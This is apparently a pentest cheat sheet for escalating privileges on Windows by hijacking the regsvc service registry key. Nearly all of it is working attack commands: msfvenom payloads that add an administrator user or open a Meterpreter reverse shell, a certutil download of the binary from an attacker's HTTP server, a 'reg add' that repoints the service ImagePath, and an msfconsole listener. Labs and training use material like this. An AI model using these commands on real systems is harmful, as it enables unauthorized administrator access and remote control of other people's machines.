EXPLOITING INSECURE SERVICE WITH METASPLOIT¶
-
let’s create a binary to Add a User to the Administrators with msfvenom.
msfvenom -p windows/x64/exec CMD='net localgroup Administrators [USERNAME] /add' -f exe > hackfast.exe
-
Host the binary using Pythong HTTP server and transfer it to the target Machine with certutil.
certutil -urlcache -f http://[IP-ADRESS]:8001/hackfast.exe hackfast.exe
-
change the ImagePath on the regsvc service registry key to point to our malicious executable. We can do this using the following command:
reg add "HKLM\SYSTEM\CurrentControlSet\services\regsvc" /v ImagePath /t REG_EXPAND_SZ /d c:\temp\hackfast.exe /f
NOTE: we can check if ImagePath set properly with following commands:
reg query "HKEY_LOCAL_MACHINE\System\CurrentControlSet\services\regsvc"
-
Now run
net start regsvc
on the target to execute the exploit.NOTE: If SeShutdownPrivilege is enabled you can reboot to have the service to restart automatically.
shutdown /r /t 0
GENERATING REVERSE SHELL WITH MSFVENOM¶
-
let’s create a reverse shell binary with msfvenom.
msfvenom -p windows/x64/meterpreter/reverse_tcp -f exe LHOST=[ATTACKER-IP] LPORT=[PORT] -o hackfast.exe
-
Host the binary using Python HTTP server and transfer it to the target Machine with certutil.
certutil -urlcache -f http://[IP-ADRESS]:8001/hackfast.exe hackfast.exe
-
change the ImagePath on the regsvc service registry key to point to our malicious executable. We can do this using the following command:
reg add "HKLM\SYSTEM\CurrentControlSet\services\regsvc" /v ImagePath /t REG_EXPAND_SZ /d c:\temp\hackfast.exe /f
NOTE: we can check if ImagePath set properly with following commands:
reg query "HKEY_LOCAL_MACHINE\System\CurrentControlSet\services\regsvc"
-
Start your listener on the attacking machine
msfconsole -q -x "use multi/handler; set payload windows/x64/meterpreter/reverse_tcp; set LHOST tun0; set LPORT [PORT]; run"
-
Now run
net start regsvc
on the target Machine to execute the exploit.NOTE: If SeShutdownPrivilege is enabled you can reboot to have the service to restart automatically.
shutdown /r /t 0